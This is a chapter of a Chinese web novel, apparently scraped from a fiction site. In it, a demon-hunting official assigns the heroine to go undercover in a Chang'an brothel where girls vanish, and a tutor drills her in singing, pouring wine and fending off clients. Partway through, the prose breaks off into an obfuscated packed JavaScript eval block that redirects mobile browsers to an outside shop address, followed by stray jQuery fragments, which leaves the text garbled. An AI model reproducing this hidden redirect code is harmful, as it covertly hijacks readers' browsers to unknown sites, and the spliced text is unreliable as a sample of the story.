文趣网 > 都市小说 > 我在捉妖文里搞通灵[穿书] > 34. 青楼案起
    “什么!?”

    “您要我去青楼!?”

    宋星渊坐在案后翻卷宗,眼皮都没抬:“对。”

    “我不去!”余槐把胸口的伤一拍,当即龇牙咧嘴地喊,“大人,我伤还没好呢!胸口疼,手腕疼,脑子也疼,我这么一个半残的废物,您派我去,那不是给镇妖司丢人吗?”

    “丢人?”宋星渊抬眼看她,眼神波澜不惊。

    “你本来也没什么脸面可丢吧。”

    余槐:……

    宋星渊把案卷往桌上一放,面容平淡,不容置疑道:“醉仙楼,长安城最大的青楼,地段在东市北街。你扮成新来的唱曲姑娘混进去做卧底。”

    “等等,您还要我扮成唱曲的姑娘!?”

    余槐指着自己的鼻子,嗓门大得附近正在值守的捉妖师们都能听到。

    她扒着门框,整个人像一只被拎着后颈提起来的猫,脸上写满了‘抗拒’二字。

    宋星渊平静地说道:“找来的师傅会教你两首小调,不需要多好,糊弄过去就行。”

    余槐嘴巴张了张又闭上,表情像被人塞了一个烫手山芋在嘴里,咽不下去吐不出来。

    几息过后,她才堪堪找回自己的声音:“大人,我不会唱曲啊。”

    人家姑娘唱的那是一个小桥流水,她唱起来完全就是就是杀鸡宰鹅,那叫一个凄惨悲凉,绝对叫人听过一次不想再听第二次。

    “那你唱小点。”宋星渊淡声道。

    余槐摊手:“可我也不会弹琴呀!”

    宋星渊:“醉仙楼好些姑娘也不会。”

    余槐:“可我连酒都不会喝啊!”

    宋星渊:“那就别练。”

    余槐一噎。

    她所有的反驳都被宋星渊堵死了。

    站在那儿想了半天,最后她憋出来一句:“那您总得告诉我,为什么是我吧?”

    宋星渊闻言,认真地把目光放在了她身上,余槐被这盯得不免有些紧张。

    她忍不住吞了吞喉咙,静静等待着宋星渊的回复。

    终于,宋星渊开口了,他先是简单概括一遍要去的内容。

    “醉仙楼三个月内失踪过七名姑娘,每次都是半夜失踪,待天亮后又会自己回来。问话发现这些姑娘期间的记忆全部被清洗过,什么都不记得,且手腕上多一根红线。镇妖司的人进去查过,但待了两天什么都没发现。”

    听闻这话,余槐不禁一愣,随即疑惑问道:“既然什么都没有查出来,为何还要派我乔装打扮进去卧底啊?”

    她顿了顿,嘴角上扬,语气有些奇怪,“大人,莫非您是觉得我有本事比先前同僚们更能查出真相嘛?大人,没想到您竟然如此信任我!”

    说完,她还对宋星渊眨眨眼睛,观察对方的神情。

    令人失望的是,宋星渊面无表情。

    无趣。

    余槐在心里暗暗吐槽。

    宋星渊毫不掩饰地略过她刚才的问话,继续道:“没查出什么是对外的通报,镇妖司对内早已查出。这起案子,表面上是妖邪作祟,实际上牵扯到朝中官员,陛下让我们暗里调查。”

    “根据线人提供,那些姑娘手腕上的红线,经查验是子玉丝线,与枯井案的子母血玉同出一源。”

    “至于为什么选你做卧底。”

    宋星渊再次把目光放在余槐脸上。

    “派男人进去,老鸨防得紧;派寻常女官进去,那些姑娘们不会说话,你——”

    他话语稍停,视线落在她那双灵动的眼睛上:“你体内的东西和血玉有联系,对同源的妖气应该敏感。而且你面相生,灵气弱,实力又低,脸又……”

    “脸又怎么了?”余槐下意识摸脸,心里咯噔一下。

    “普通。”

    咔擦!

    余槐好像听到了自己心碎的声音。

    宋星渊的声音还在耳边回荡。

    “这张脸放进青楼的姑娘里,人堆一多,没人能认得你,正好。”

    余槐:……

    她这是被嫌弃了还是被夸奖了?

    最终,余槐还是诚服在宋星渊的命令下,她跟随下人来到镇妖司后院。

    一进门便看到后院里站在一名身着蓝衣的年轻女子。

    那女子面容精致,妆容鲜艳,着实亮眼,只是此刻瞧着似是在此地等待许久,脸上稍显不耐,见来人后面色都不曾缓和。

    “您好。”

    余槐一开口就是个干巴巴地打了个招呼。

    身旁带路的下人见此,为她适时解惑,“余姑娘,那位就是教导您的师傅,宋大人早已打过招呼了,您称呼她为秦师傅即可。”

    余槐感激地看他一眼,随后问好道:“秦师傅,您好,我是余槐,宋大人叫我来见您,跟您学些曲子。”

    蓝衣女子姓秦名婉玉,这会儿听到余槐向她问好,脸色才稍加缓和。

    她点点头,眼神对着余槐上下打量了一番过后,抬手示意下人离开。

    待人走后,整个院子只有秦婉玉和余槐二人。

    见秦婉玉一直盯着自己,余槐不由得咽了咽口水。

    良久,许是打量完了,秦婉玉朝余槐招招手,“过来吧。”

    余槐小步跑过去。

    秦婉玉等她到身前后,开口问道:“鱼姑娘是吧?”

    鱼?or余?

    余槐没听出任何不对劲,她快速地点点头:“嗯嗯,我姓余,秦师傅喊我余姑娘就好。”

    秦婉玉“昂”了一声,“行,鱼姑娘,你这姓氏也是怪的。”

    余槐虽有些不解,但面对初次见面的老师,她还是附和道:“对,余这个姓氏确实比较少见。”

    秦婉玉认同道:“确实,姓‘鱼’的人我就见过你一个。”

    “既如此,宋大人找人请我过来教你,我也不跟你多废话了,鱼姑娘,跟我过来吧。”

    说罢,秦婉玉走姿摇曳地带着余槐来到后院的空地。

    空地上早早支了张木桌,上面摆着酒壶,琵琶,一面铜镜,还有一本厚厚的《青楼礼俗录》,据说这本书还是从某个退休老鸨那里淘来的。

    “先学唱曲吧。”

    秦婉玉抱起琵琶,拨弄两下,试了几个音,“这首《采莲曲》最简单,适合新手,你先听着。”

    说着,她开口唱了一遍,声音温婉,如珠落玉盘,尾音还带着几分恰到好处的娇怯:

    “江南可采莲,莲叶何田田。鱼戏莲叶间,鱼戏莲叶东……”

    唱完后,她抬手,示意余槐来唱。

    余槐刚想摆手说自己还没记好调,可在秦婉玉锐利的眼神下,她只能硬着头皮学:“江南可采莲……莲叶何田田……”

    秦婉玉:……

    她赶忙打断道:“鱼姑娘,你要不自己听听,这调跑的,都从南跑到北边去了。”

    她无奈再唱了一遍给余槐听。

    这次她唱完后,想着至少能把调记住了,便叫余槐唱起。

    余槐不好意思说自己依旧没学会,只好苦着脸,依葫芦画瓢:“江南可采莲……”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17819286|207215||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    秦婉玉默默吸了一口气,再一次打断道:“鱼姑娘,这次和哭丧没区别。”

    余槐伤心地看她。

    秦婉玉被看得叹气,她安慰道:“你先放松,嗓子别夹那么紧,要记住,我们是唱曲,不是在喊救命,没必要那么凄凉。”

    余槐欲哭无泪。

    她在现代只是个朝九晚五的牛马医生啊,KTV都只会唱儿歌,现在让她学古代小曲,赶鸭子上架都没这么为难人的。

    接下来连着几次失败,秦婉玉扶额,把琵琶放下:“罢了罢了,先停一停,我们先教点别的。”

    “首先是斟酒。”

    秦婉玉取过酒壶,示范给她看,“右手托壶底,左手扶杯沿,要倒七分满,留三分。”

    “若客人要拉你的手,你就这样——”

    说着,她手腕一翻,酒壶倾斜,酒液就这么‘不小心’洒在桌面上,正好避开那只假想中伸过来的手。

    动作行云流水,既显得笨拙无措,又巧妙地化解了尴尬。

    “这样洒了酒,你就立刻跪下赔罪,再表演出一副笨手笨脚的样子,客人反倒不好发作。可若是遇到难缠的……”

    秦婉玉放下酒壶,脚尖轻轻一点地面,“用脚尖踢他膝盖,往膝盖骨下方三寸踢,这里踢下去疼得很,能叫人一时眼黑,过会才能看清,届时你胡乱编点话,能叫他只当是你慌乱中撞的。”

    “这招叫‘醉仙倒’,也是当年一位从青楼逃出来的姑娘教我的。”

    余槐倒吸一口凉气:“秦师傅,您以前……到底经历过什么?”

    “放心,我没去过青楼。”

    秦婉玉话语冷淡,但眼眶却微微泛红,“但我见过许多从那种地方逃出来的姑娘。她们教的,会的,比我告诉你的这些还多。”

    “你记住,在醉仙楼,太聪明会死,太笨也会死。即使你只是去卧底,但也要学会装,并且,你要装得恰好,装得够可怜,够木讷,让里面的老鸨觉得你好拿捏,让客人觉得你呆傻,让那些姑娘们觉得你不是来抢饭碗的。”

    余槐点头如捣蒜,把这些话死死刻进脑子里。

    时间紧张,只有三天,这三天里秦婉玉匆匆忙忙也只教会了她两首小调,《采莲曲》和《杨柳枝》。①

    除此以外,还教她怎么抱琵琶装模作样,怎么在酒里掺水,怎么在客人凑近时借着倒酒的动作躲开,怎么在被人搂腰时‘不小心’踩到对方脚面。

    三天后,余槐已经能勉强把这两首曲子唱得不那么像哭丧了,虽然依然跑调,但秦婉玉看来够了,她的原话是:“够了,反正醉仙楼的客人也不是去听曲的,他们听的是个意趣,你唱得越生涩,越显得新鲜。”

    临走前,秦婉玉还给她恶补了一课:“醉仙楼是长安城最大的青楼,背后东家姓陆,人称陆大人,表面上做丝绸生意,实际上手眼通天。”

    “楼里的姑娘分三等:一等是红袖、牡丹这种头牌,住二楼雅间,陪的都是达官贵人;二等是会琴棋书画的,住一楼偏房,陪富商文人;三等是粗使丫头和唱曲的,住后院,偶尔被叫去大堂陪酒。”

    “你的身份是三等,叫小槐,北边江北那边逃难过来的,家里遭了水灾,父母都没了,就剩你一个,来长安投亲没找着人,没办法才找门路过来这青楼卖唱换口饭吃,会两首小曲,卖身契在手里,卖艺不卖身。”

    “里头老鸨姓孙,最是贪财,见风使舵。她手下有两个龟奴,一个叫赵三,一个叫钱五,都是打手,你少招惹。”

    余槐一一记牢。